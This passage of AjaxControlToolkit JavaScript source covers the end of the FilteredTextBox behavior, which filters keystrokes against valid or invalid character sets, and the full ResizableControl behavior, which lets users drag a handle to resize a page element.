        $addHandler(element, 'change', this._changeHandler);

        var callback = Function.createDelegate(this, this._intervalCallback);
        this._intervalID = window.setInterval(callback, this._filterInterval);
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        var element = this.get_element();
        
        $removeHandler(element, 'keypress', this._keypressHandler);
        this._keypressHandler = null;
        
        $removeHandler(element, 'change', this._changeHandler);
        this._changeHandler = null;

        window.clearInterval(this._intervalID);
        
        AjaxControlToolkit.FilteredTextBoxBehavior.callBaseMethod(this, 'dispose');
    },
    
    _getValidChars : function() {
        /// <summary>
        /// Get all the valid characters
        /// </summary>
        /// <returns type="String">
        /// All valid characters
        /// </returns>

        if (this._validChars) return this._validChars;
        this._validChars = "";
        
        for (type in this.charTypes) {
            var filterType = AjaxControlToolkit.FilterTypes.toString(this._filterType);
            if (filterType.indexOf(type) != -1) {
                this._validChars += this.charTypes[type];
            }
        }

        return this._validChars;    
    },
    
    _getInvalidChars : function() {
        /// <summary>
        /// Get all the invalid characters (in case of custom filtering and InvalidChars mode)
        /// </summary>
        /// <returns type="String">
        /// All invalid characters
        /// </returns>

        if (!this._invalidChars) {
            this._invalidChars = this.charTypes.Custom;
        }
        return this._invalidChars;
    },

    _onkeypress : function(evt) {
        /// <summary>
        /// Handler for the target textbox's key press event
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        // This handler will only get called for valid characters in IE, we use keyCode
        //
        // In FireFox, this will be called for all key presses, with charCode/which
        // being set for keys we should filter (e.g. the chars) and keyCode being
        // set for all other keys.
        //
        // scanCode = event.charCode
        //
        // In Safari, charCode, which, and keyCode will all be filled with the same value,
        // as well as keyIdentifier, which has the string representation either as "end" or "U+00000008"
        //
        // 1) Check for ctrl/alt/meta -> bail if true
        // 2) Check for keyIdentifier.startsWith("U+") -> bail if false
        // 3) Check keyCode < 0x20 -> bail
        // 4) Special case Delete (63272) -> bail
        
        var scanCode;

        // Note (Supergibbs): Changed to handle all majors browsers
        // IE and Safari only fires for valid characters
        // Firefox sets charCode to 0 and uses keyCode for special keys
        // Opera always fires but you cannot distinguish which are valid or special keys 
        if ( (((/* ff */ evt.rawEvent.charCode == 0) || 
             (/* opera */ evt.rawEvent.keyCode == evt.rawEvent.which && evt.rawEvent.charCode == undefined)) &&
              ((evt.rawEvent.keyCode == Sys.UI.Key.pageUp) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.pageDown) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.up) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.down) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.left) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.right) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.home) ||
               (evt.rawEvent.keyCode == Sys.UI.Key.end) ||
               (evt.rawEvent.keyCode == 46 /* Delete */))) ||
               (evt.ctrlKey /* Control keys */)) {
            return;
        }        
       
        if (evt.rawEvent.keyIdentifier) {
            // Safari
            // Note (Garbin): used the underlying rawEvent insted of the DomEvent instance.
            if (evt.rawEvent.ctrlKey || evt.rawEvent.altKey || evt.rawEvent.metaKey) {
                return;
            }
            
            if (evt.rawEvent.keyIdentifier.substring(0,2) != "U+") {
                return;
            }
            
            scanCode = evt.rawEvent.charCode; 
            if (scanCode == 63272 /* Delete */) {
                return;
            }
        } else {
            scanCode = evt.charCode;
        }  
            
        if (scanCode && scanCode >= 0x20 /* space */) {
            var c = String.fromCharCode(scanCode);
            if(!this._processKey(c)) {
                evt.preventDefault();
            }
        }
    },
    
    _processKey : function(key) {
        /// <summary>
        /// Determine whether the key is valid or whether it should be filtered out
        /// </summary>
        /// <param name="key" type="String">
        /// Character to be validated
        /// </param>
        /// <returns type="Boolean">
        /// True if the character should be accepted, false if it should be filtered
        /// </returns>

        // Allow anything that's not a printable character,
        // e.g. backspace, arrows, etc.  Everything above 32
        // should be considered allowed, as it may be Unicode, etc.
        
        var filter = "";
        var shouldFilter = false;
        
        if (this._filterMode == AjaxControlToolkit.FilterModes.ValidChars) {
            filter = this._getValidChars();
  
            // Determine if we should accept the character
            shouldFilter = filter && (filter.length > 0) && (filter.indexOf(key) == -1);
        } else {
            filter = this._getInvalidChars();
  
            // Determine if we should accept the character
            shouldFilter = filter && (filter.length > 0) && (filter.indexOf(key) > -1);        
        }
        
        // Raise the processKey event and allow handlers to intercept
        // and decide whether the key should be allowed
        var eventArgs = new AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs(key, AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Value(), shouldFilter);
        this.raiseProcessKey(eventArgs);
        
        // If a processKey handler decided the key should be allowed, just
        // return true and pass it through (note that the default value of
        // allowKey is the opposite of shouldFilter so it will work as normal
        // if no one is handling the event)
        if (eventArgs.get_allowKey()) {
            return true;
        }
        
        // Else if it was decided that it shouldn't be allowed,
        // raise the Filtered event and return false to filter the key
        this.raiseFiltered(new AjaxControlToolkit.FilteredTextBoxEventArgs(key));
        return false;
    },
    
    _onchange : function() {
        /// <summary>
        /// Handler for the target textbox's key change event which will filter
        /// the text again (to make sure no text was inserted without keypresses, etc.)
        /// </summary>
        
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        var text = wrapper.get_Value() || '';
        var result = new Sys.StringBuilder();
        for (var i = 0; i < text.length; i++) {
            var ch = text.substring(i, i+1);
            if (this._processKey(ch)) {
                result.append(ch);
            }
        }
        // change the value only if it is different
        if (wrapper.get_Value() != result.toString()) {
            wrapper.set_Value(result.toString());
        }
    },
    
    _intervalCallback : function() {
    /// <summary>
    /// Method that is repeatedly called to purge invalid characters from the textbox
    /// </summary>
        
        this._changeHandler();
    },
    
    get_ValidChars : function() {
        /// <value type="String">
        /// A string consisting of all characters considered valid for the textbox, if
        /// "Custom" is specified as the field type. Otherwise this parameter is ignored.
        /// </value>
        return this.charTypes.Custom;
    },
    set_ValidChars : function(value) {
        if (this._validChars != null || this.charTypes.Custom != value) {
            this.charTypes.Custom = value;
            this._validChars = null;
            this.raisePropertyChanged('ValidChars');
        }
    },

    get_InvalidChars : function() {
        /// <value type="String">
        /// A string consisting of all characters considered invalid for the textbox, if "Custom" is specified as the field type. Otherwise this parameter is ignored.
        /// </value>
        return this.charTypes.Custom;
    },
    set_InvalidChars : function(value) {
        if (this._invalidChars != null || this.charTypes.Custom != value) {
            this.charTypes.Custom = value;
            this._invalidChars = null;
            this.raisePropertyChanged('InvalidChars');
        }
    },
    
    get_FilterType : function() {
        /// <value type="AjaxControlToolkit.FilterTypes">
        /// FilterType - A the type of filter to apply, as a comma-separated combination of
        /// Numbers, LowercaseLetters, UppercaseLetters, and Custom. If Custom is specified,
        /// the ValidChars field will be used in addition to other settings such as Numbers.
        /// </value>
        return this._filterType;
    },        
    set_FilterType : function(value) {
        if (this._validChars != null || this._filterType != value) {
            this._filterType = value;
            this._validChars = null;
            this.raisePropertyChanged('FilterType');
        }
    },
    
    get_FilterMode : function() {
        /// <value type="AjaxControlToolkit.FilterModes">
        /// FilterMode - The filter mode to apply when custom filtering is activated; supported values are ValidChars and InvalidChars.
        /// </value>
        return this._filterMode;
    },        
    set_FilterMode : function(value) {
        if (this._validChars != null || this._invalidChars != null || this._filterMode != value) {
            this._filterMode = value;
            this._validChars = null;
            this._invalidChars = null;
            this.raisePropertyChanged('FilterMode');
        }
    },

    get_FilterInterval : function() {
        /// <value type="int">
        /// An integer containing the interval (in milliseconds) in which 
        /// the field's contents are filtered
        /// </value>
        return this._filterInterval;
    },
    set_FilterInterval : function(value) {
        if (this._filterInterval != value) {
            this._filterInterval = value;
            this.raisePropertyChanged('FilterInterval');
        }
    },
    
    add_processKey : function(handler) {
        /// <summary>
        /// Add an event handler for the processKey event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('processKey', handler);
    },
    remove_processKey : function(handler) {
        /// <summary>
        /// Remove an event handler from the processKey event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('processKey', handler);
    },
    raiseProcessKey : function(eventArgs) {
        /// <summary>
        /// Raise the processKey event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs" mayBeNull="false">
        /// Event arguments for the processKey event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('processKey');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_filtered : function(handler) {
        /// <summary>
        /// Add an event handler for the filtered event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('filtered', handler);
    },
    remove_filtered : function(handler) {
        /// <summary>
        /// Remove an event handler from the filtered event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('filtered', handler);
    },
    raiseFiltered : function(eventArgs) {
        /// <summary>
        /// Raise the filtered event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.FilteredTextBoxEventArgs" mayBeNull="false">
        /// Event arguments for the filtered event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('filtered');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.FilteredTextBoxBehavior.registerClass('AjaxControlToolkit.FilteredTextBoxBehavior', AjaxControlToolkit.BehaviorBase);


AjaxControlToolkit.FilterTypes = function() {
    /// <summary>
    /// Character filter to be applied to a textbox
    /// </summary>
    /// <field name="Custom" type="Number" integer="true">
    /// Custom Characters
    /// </field>
    /// <field name="Numbers" type="Number" integer="true">
    /// Numbers (0123456789)
    /// </field>
    /// <field name="UppercaseLetters" type="Number" integer="true">
    /// Uppercase Letters (ABCDEFGHIJKLMNOPQRSTUVWXYZ)
    /// </field>
    /// <field name="LowercaseLetters" type="Number" integer="true">
    /// Lowercase Letters (abcdefghijklmnopqrstuvwxyz)
    /// </field>
    throw Error.invalidOperation();
}
AjaxControlToolkit.FilterTypes.prototype = {
    Custom           :  0x1,
    Numbers          :  0x2,
    UppercaseLetters :  0x4,
    LowercaseLetters :  0x8
}
AjaxControlToolkit.FilterTypes.registerEnum('AjaxControlToolkit.FilterTypes', true);

AjaxControlToolkit.FilterModes = function() {
    /// <summary>
    /// Filter mode to be applied to a textbox
    /// </summary>
    /// <field name="ValidChars" type="Number" integer="true">
    /// Provide a list of valid characters
    /// </field>
    /// <field name="InvalidChars" type="Number" integer="true">
    /// Provide a list of invalid characters
    /// </field>
    throw Error.invalidOperation();
}
AjaxControlToolkit.FilterModes.prototype = {
    ValidChars   :  0x1,
    InvalidChars :  0x2
}
AjaxControlToolkit.FilterModes.registerEnum('AjaxControlToolkit.FilterModes', true);

AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs = function(key, text, shouldFilter) {
    /// <summary>
    /// Event arguments used when the processKey event is raised
    /// </summary>
    /// <param name="key" type="String" mayBeNull="False">
    /// Key to be processed
    /// </param>
    /// <param name="text" type="String" mayBeNull="True">
    /// Current text in the textbox
    /// </param>
    /// <param name="shouldFilter" type="Boolean" mayBeNull="False">
    /// Whether the character should be filtered given the current
    /// FilteredTextBox settings
    /// </param>
    AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs.initializeBase(this);
    
    this._key = key;
    this._text = text;
    this._shouldFilter = shouldFilter;
    this._allowKey = !shouldFilter;
}
AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs.prototype = {
    get_key : function() {
        /// <value type="String" mayBeNull="False">
        /// Key to be processed
        /// </value>
        return this._key;
    },
    
    get_text : function() {
        /// <value type="String" mayBeNull="True">
        /// Current text in the textbox
        /// </value>
        return this._text;
    },
    
    get_shouldFilter : function() {
        /// <value type="Boolean" mayBeNull="False">
        /// Whether the character should be filtered given the current
        /// FilteredTextBox settings
        /// </value>
        return this._shouldFilter;
    },
    
    get_allowKey : function() {
        /// <value type="Boolean" mayBeNull="False">
        /// Whether or not the key will be filtered.  It defaults to the opposite of
        /// shouldFilter and should be set by handlers of the processKey event.
        /// </value>
        return this._allowKey;
    },
    set_allowKey : function(value) {
        this._allowKey = value;
    }
}
AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs.registerClass('AjaxControlToolkit.FilteredTextBoxProcessKeyEventArgs', Sys.EventArgs);

AjaxControlToolkit.FilteredTextBoxEventArgs = function(key) {
    /// <summary>
    /// Event arguments used when the filtered event is raised
    /// </summary>
    /// <param name="key" type="String" mayBeNull="False">
    /// Key that was filtered
    /// </param>
    AjaxControlToolkit.FilteredTextBoxEventArgs.initializeBase(this);

    this._key = key;
}
AjaxControlToolkit.FilteredTextBoxEventArgs.prototype = {
    get_key : function() {
        /// <value type="String" mayBeNull="False">
        /// Key that was filtered
        /// </value>
        return this._key;
    }
}
AjaxControlToolkit.FilteredTextBoxEventArgs.registerClass('AjaxControlToolkit.FilteredTextBoxEventArgs', Sys.EventArgs);�Z// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ResizableControlBehavior = function(element) {
    /// <summary>
    /// The ResizableControlBehavior makes the target element resizable
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element associated with the behaviro
    /// </param>
    AjaxControlToolkit.ResizableControlBehavior.initializeBase(this, [element]);
    
    // Properties
    this._HandleCssClass = "";
    this._ResizableCssClass = "";
    this._HandleOffsetX = 0;
    this._HandleOffsetY = 0;
    this._MinimumWidth = 0;
    this._MinimumHeight = 0;
    this._MaximumWidth = 100000;
    this._MaximumHeight = 100000;

    // Variables
    this._frame = null;
    this._handle = null;
    this._handleHolder = null;
    this._lining = null;
    this._tracking = false;
    this._lastClientX = 0;
    this._lastClientY = 0;

    // Delegates
    this._onmouseoverDelegate = null;
    this._onmouseoutDelegate = null;
    this._onmousedownDelegate = null;
    this._onmousemoveDelegate = null;
    this._onmouseupDelegate = null;
    this._onselectstartDelegate = null;
}
AjaxControlToolkit.ResizableControlBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this, 'initialize');

        this._frame = this.get_element();

        var savedSizeString = AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this, 'get_ClientState');
        if (savedSizeString && (-1 != savedSizeString.indexOf(','))) {
            var savedSize = savedSizeString.split(',');
            this._frame.style.width = savedSize[0]+'px';
            this._frame.style.height = savedSize[1]+'px';
        }

        // The this._lining lets us measure the interior of the this._frame easily and
        // protects the contents of this._frame (when resizing) from interactions
        // with the mouse (ex: IFRAME grabbing mouse capture in IE or Firefox)
        this._lining = document.createElement('DIV');
        this._lining.style.width = $common.getCurrentStyle(this._frame, 'width');
        this._lining.style.height = $common.getCurrentStyle(this._frame, 'height');
        this._lining.style.position = 'absolute';
        this._lining.style.backgroundColor = 'black';  // Keeps browsers from ignoring the content-free element
        this._lining.style.opacity = "0";  // Makes the lining invisible
        this._lining.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=0)";  // Ditto, for IE
        this._lining.style.visibility = 'hidden';
        this._frame.insertBefore(this._lining, this._frame.firstChild);

        // The this._handleHolder provedes a wrapper with absolute positioning
        // so that this._handle can be absolutely positioned relative to the
        // this._frame instead of the page
        this._handleHolder = document.createElement('DIV');
        this._handleHolder.style.width = '0px';
        this._handleHolder.style.height = '0px';
        this._handleHolder.style.position = ((Sys.Browser.agent === Sys.Browser.Opera) ? 'relative' : 'absolute');
        this._frame.insertBefore(this._handleHolder, this._frame.firstChild);

        // The this._handle represents the UI handle for the user to grab with
        // the mouse
        this._handle = document.createElement('DIV');
        this._handle.className = this._HandleCssClass;
        this._handle.style.position = 'absolute';
        this._handleHolder.appendChild(this._handle);

        this._onmouseoverDelegate = Function.createDelegate(this, this._onmouseover);
        $addHandler(this._handle, 'mouseover', this._onmouseoverDelegate);
        this._onmouseoutDelegate = Function.createDelegate(this, this._onmouseout);
        $addHandler(this._handle, 'mouseout', this._onmouseoutDelegate);
        this._onmousedownDelegate = Function.createDelegate(this, this._onmousedown);
        $addHandler(this._handle, 'mousedown', this._onmousedownDelegate);
        this._onmousemoveDelegate = Function.createDelegate(this, this._onmousemove);
        this._onmouseupDelegate = Function.createDelegate(this, this._onmouseup);
        this._onselectstartDelegate = Function.createDelegate(this, this._onselectstart);

        this._resizeControl(0, 0, 0, 0);
        this._rememberSize();
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        if (this._onmouseoverDelegate) {
            $removeHandler(this._handle, 'mouseover', this._onmouseoverDelegate);
            this._onmouseoverDelegate = null;
        }

        if (this._onmouseoutDelegate) {
            $removeHandler(this._handle, 'mouseout', this._onmouseoutDelegate);
            this._onmouseoutDelegate = null;
        }

        if (this._onmousedownDelegate) {
            $removeHandler(this._handle, 'mousedown', this._onmousedownDelegate);
            this._onmousedownDelegate = null;
        }

        if (this._onmousemoveDelegate) {
            if (this.tracking) {
                $removeHandler(document, 'mousemove', this._onmousemoveDelegate);
            }
            this._onmousemoveDelegate = null;
        }

        if (this._onmouseupDelegate) {
            if (this.tracking) {
                $removeHandler(document, 'mouseup', this._onmouseupDelegate);
            }
            this._onmouseupDelegate = null;
        }

        if (this._onselectstartDelegate) {
            if (this.tracking) {
                $removeHandler(document, 'selectstart', this._onselectstartDelegate);
                if (Sys.Browser.agent === Sys.Browser.Opera) {
                    $removeHandler(document, 'mousedown', this._onselectstartDelegate);
                }
            }
            this._onselectstartDelegate = null;
        }

        AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this, 'dispose');
    },

    _onmouseover : function() {
        /// <summary>
        /// Handler for the handle's mouseover event
        /// </summary>
        Sys.UI.DomElement.addCssClass(this._frame, this._ResizableCssClass);
    },

    _onmouseout : function() {
        /// <summary>
        /// Handler for the handle's mouseout event
        /// </summary>
        if (!this._tracking) {
            Sys.UI.DomElement.removeCssClass(this._frame, this._ResizableCssClass);
        }
    },

    _onmousedown : function(e) {
        /// <summary>
        /// Handler for the handle's mousedown event
        /// </summary>

        // TODO: Fix for new event model
        if (!e) {
            e = event;
        }
        this._onmousedownImplementation(e.clientX, e.clientY);
    },
    
    _onmousedownImplementation : function(clientX, clientY) {
        /// <summary>
        /// Setup the target for resizing when its handle receives a mousedown event
        /// </summary>
        /// <param name="clientX" type="Number" integer="true">
        /// X coordinate of the click
        /// </param>
        /// <param name="clientY" type="Number" integer="true">
        /// Y coordinate of the click
        /// </param>

        this._tracking = true;
        this._resizeControl(clientX, clientY, 0, 0);
        this._lining.style.visibility = 'visible';  // Overlay resizing control to avoid interacting with it (ex: IFRAME)
        $addHandler(document, 'mousemove', this._onmousemoveDelegate);
        $addHandler(document, 'mouseup', this._onmouseupDelegate);
        $addHandler(document, 'selectstart', this._onselectstartDelegate);
        if (Sys.Browser.agent === Sys.Browser.Opera) {
            $addHandler(document, 'mousedown', this._onselectstartDelegate);
        }
        this.raiseResizeBegin();
    },

    _onmousemove : function(e) {
        /// <summary>
        /// Handler for the handle's mousemove event
        /// </summary>

        // TODO: Fix for new event model
        if (!e) {
            e = event;
        }
        this._onmousemoveImplementation(e.clientX, e.clientY);
    },
    
    _onmousemoveImplementation : function(clientX, clientY) {
        /// <summary>
        /// Resize the target when the handle receives mousemove events
        /// </summary>
        /// <param name="clientX" type="Number" integer="true">
        /// X coordinate of the click
        /// </param>
        /// <param name="clientY" type="Number" integer="true">
        /// Y coordinate of the click
        /// </param>

        if (this._tracking) {
            var deltaX = (clientX-this._lastClientX);
            var deltaY = (clientY-this._lastClientY);
            this._resizeControl(clientX, clientY, deltaX, deltaY);
        }
    },

    _onmouseup : function() {
        /// <summary>
        /// Handler for the handle's mouseup event
        /// </summary>

        this._tracking = false;
        this._rememberSize();
        this._lining.style.visibility = 'hidden';
        $removeHandler(document, 'mousemove', this._onmousemoveDelegate);
        $removeHandler(document, 'mouseup', this._onmouseupDelegate);
        $removeHandler(document, 'selectstart', this._onselectstartDelegate);
        if (Sys.Browser.agent === Sys.Browser.Opera) {
            $removeHandler(document, 'mousedown', this._onselectstartDelegate);
        }
        Sys.UI.DomElement.removeCssClass(this._frame, this._ResizableCssClass);
    },

    _onselectstart : function(e) {
        /// <summary>
        /// Handler for the target's selectstart event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        // Don't allow selection during drag
        e.preventDefault();
        return false;
    },

    _resizeControl : function(clientX, clientY, deltaX, deltaY) {
        /// <summary>
        /// Resize the target
        /// </summary>
        /// <param name="clientX" type="Number" integer="true">
        /// Starting X coordinate
        /// </param>
        /// <param name="clientY" type="Number" integer="true">
        /// Starting Y coordinate
        /// </param>
        /// <param name="deltaX" type="Number" integer="true">
        /// Change in the width
        /// </param>
        /// <param name="deltaY" type="Number" integer="true">
        /// Change in the height
        /// </param>

        // Save last client X/Y
        this._lastClientX = clientX;
        this._lastClientY = clientY;
        // Calculate new lining/frame width/height
        var _liningWidth = Math.min(Math.max(this._lining.offsetWidth+deltaX, Math.max(this._MinimumWidth, this._handle.offsetWidth)), this._MaximumWidth);
        var _liningHeight = Math.min(Math.max(this._lining.offsetHeight+deltaY, Math.max(this._MinimumHeight, this._handle.offsetHeight)), this._MaximumHeight);
        // Set new lining/frame width/height
        this._lining.style.width = _liningWidth+'px';
        this._lining.style.height = _liningHeight+'px';
        this._frame.style.width = _liningWidth+'px';
        this._frame.style.height = _liningHeight+'px';
        // Calculate new handle left/top
        var _handleLeft = this._lining.offsetWidth-this._handle.offsetWidth+this._HandleOffsetX;
        var _handleTop = this._lining.offsetHeight-this._handle.offsetHeight+this._HandleOffsetY;
        // Set new handle left/top
        this._handle.style.left = _handleLeft+'px';
        this._handle.style.top = _handleTop+'px';
        // Raise the resizing event
        this.raiseResizing();
    },

    _rememberSize : function() {
        /// <summary>
        /// Save the size in ClientState
        /// </summary>
        var size = this.get_Size();
        AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this, 'set_ClientState', [ size.width+','+size.height ]);
        // Raise the resize event
        this.raiseResize();
    },

    _measurementToNumber : function(m) {
        /// <summary>
        /// Get the magnitude of a measurement
        /// </summary>
        /// <param name="m" type="String">
        /// Measurement
        /// </param>
        /// <returns type="String">
        /// Magnitude of a measurement
        /// </returns>
        return m.replace('px', '');
    },

    get_HandleCssClass : function() {
        /// <value type="String">
        /// The name of the CSS class to apply to the resize handle
        /// </value>
        return this._HandleCssClass;
    },
    set_HandleCssClass : function(value) {
        if (this._HandleCssClass) {
            throw String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_CannotChangeProperty, 'HandleCssClass');
        }
        this._HandleCssClass = value;
        this.raisePropertyChanged('HandleCssClass');
    },

    get_ResizableCssClass : function() {
        /// <value type="String">
        /// name of the CSS class to apply to the element when resizing
        /// </value>
        return this._ResizableCssClass;
    },
    set_ResizableCssClass : function(value) {
        if (this._ResizableCssClass) {
            throw String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_CannotChangeProperty, 'ResizableCssClass');
        }
        this._ResizableCssClass = value;
        this.raisePropertyChanged('ResizableCssClass');
    },

    get_HandleOffsetX : function() {
        /// <value type="Number" integer="true">
        /// Horizontal offset to apply to the location of the resize handle
        /// </value>
        return this._HandleOffsetX;
    },
    set_HandleOffsetX : function(value) {
        if (this._HandleOffsetX != value) {
            this._HandleOffsetX = value;
            this.raisePropertyChanged('HandleOffsetX');
        }
    },

    get_HandleOffsetY : function() {
        /// <value type="Number" integer="true">
        /// Vertical offset to apply to the location of the resize handle
        /// </value>
        return this._HandleOffsetY;
    },
    set_HandleOffsetY : function(value) {
        if (this._HandleOffsetY != value) {
            this._HandleOffsetY = value;
            this.raisePropertyChanged('HandleOffsetY');
        }
    },

    get_MinimumWidth : function() {
        /// <value type="Number" integer="true">
        /// Minimum width of the resizable element
        /// </value>
        return this._MinimumWidth;
    },
    set_MinimumWidth : function(value) {
        if (this._MinimumWidth != value) {
            this._MinimumWidth = value;
            this.raisePropertyChanged('MinimumWidth');
        }
    },

    get_MinimumHeight : function() {
        /// <value type="Number" integer="true">
        /// Minimum height of the resizable element
        /// </value>
        return this._MinimumHeight;
    },
    set_MinimumHeight : function(value) {
        if (this._MinimumHeight != value) {
            this._MinimumHeight = value;
            this.raisePropertyChanged('MinimumHeight');
        }
    },

    get_MaximumWidth : function() {
        /// <value type="Number" integer="true">
        /// Maximum width of the resizing element
        /// </value>
        return this._MaximumWidth;
    },
    set_MaximumWidth : function(value) {
        if (this._MaximumWidth != value) { 
            this._MaximumWidth = value;
            this.raisePropertyChanged('MaximumWidth');
        }
    },

    get_MaximumHeight : function() {
        /// <value type="Number" integer="true">
        /// Maximum height of the resizing element
        /// </value>
        return this._MaximumHeight;
    },
    set_MaximumHeight : function(value) {
        if (this._MaximumHeight != value) {
            this._MaximumHeight = value;
            this.raisePropertyChanged('MaximumHeight');
        }
    },

    add_resizing : function(handler) {
        /// <summary>
        /// Add a handler to the resizing event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("resizing", handler);
    },
    remove_resizing : function(handler) {
        /// <summary>
        /// Remove a handler from the resizing event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("resizing", handler);
    },
    raiseResizing : function() {
        /// <summary>
        /// Raise the resizing event
        /// </summary>
        var onResizingHandler = this.get_events().getHandler("resizing");
        if (onResizingHandler) {
            onResizingHandler(this, Sys.EventArgs.Empty);
        }
    },

    get_resizing : function() {
        /// <value type="Object">
        /// Function to invoke on resizing (can a Function, name of a Function, or expression that evaluates to a Function)
        /// </value>
        return this.get_events().getHandler("resizing");
    },
    set_resizing : function(value) {
        if (value && (0 < value.length)) {
            var func = $common.resolveFunction(value);
            if (func) { 
                this.add_resizing(func);
            } else {
                throw Error.argumentType('value', typeof(value), 'Function', String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler, 'resizing'));
            }
        }
    },

    add_resize : function(handler) {
        /// <summary>
        /// Add a handler to the resize event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("resize", handler);
    },
    remove_resize : function(handler) {
        /// <summary>
        /// Remove a handler from the resize event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("resize", handler);
    },
    raiseResize : function() {
        /// <summary>
        /// Raise the resize event
        /// </summary>
        var onResizeHandler = this.get_events().getHandler("resize");
        if (onResizeHandler) {
            onResizeHandler(this, Sys.EventArgs.Empty);
        }
    },

    get_resize : function() {
        /// <value type="Object">
        /// Function to invoke on resize (can be a Function, name of a Function, or expression that evaluates to a Function)
        /// </value>
        return this.get_events().getHandler("resize");
    },
    set_resize : function(value) {
        if (value && (0 < value.length)) {
            var func = $common.resolveFunction(value);
            if (func) { 
                this.add_resize(func);
            } else {
                throw Error.argumentType('value', typeof(value), 'Function', String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler, 'resize'));
            }
        }
    },

    add_resizebegin : function(handler) {
        /// <summary>
        /// Add a handler to the resizebegin event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler("resizebegin", handler);
    },
    remove_resizebegin : function(handler) {
        /// <summary>
        /// Remove a handler from the resizebegin event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler("resizebegin", handler);
    },
    raiseResizeBegin : function() {
        /// <summary>
        /// Raise the resizebegin event
        /// </summary>
        var onresizebeginHandler = this.get_events().getHandler("resizebegin");
        if (onresizebeginHandler) {
            onresizebeginHandler(this, Sys.EventArgs.Empty);
        }
    },

    get_resizebegin : function() {
        /// <value type="Object">
        /// Function to invoke on resizebegin (can be a Function, name of a Function, or expression that evaluates to a Function)
        /// </value>
        return this.get_events().getHandler("resizebegin");
    },
    set_resizebegin : function(value) {
        if (value && (0 < value.length)) {
            var func = $common.resolveFunction(value);
            if (func) { 
                this.add_resizebegin(func);
            } else {
                throw Error.argumentType('value', typeof(value), 'Function', String.format(AjaxControlToolkit.Resources.ResizableControlBehavior_InvalidHandler, 'resizebegin'));
            }
        }
    },

    get_Size : function() {
        /// <value type="Object">
        /// Size of the target (of the form {width, height})
        /// </value>
        return { width: this._measurementToNumber($common.getCurrentStyle(this._lining, 'width')),
            height: this._measurementToNumber($common.getCurrentStyle(this._lining, 'height'))};
    },
    set_Size : function(value) {
        var deltaX = value.width-this._measurementToNumber($common.getCurrentStyle(this._lining, 'width'));
        var deltaY = value.height-this._measurementToNumber($common.getCurrentStyle(this._lining, 'height'));
        this._resizeControl(0, 0, deltaX, deltaY);
        this._rememberSize();
        this.raisePropertyChanged('Size');
    }
}
AjaxControlToolkit.ResizableControlBehavior.registerClass('AjaxControlToolkit.ResizableControlBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.ResizableControlBehavior.callBaseMethod(this, 'getDescriptor');
//        td.addProperty('HandleCssClass', String);
//        td.addProperty('ResizableCssClass', String);
//        td.addProperty('HandleOffsetX', Number);
//        td.addProperty('HandleOffsetY', Number);
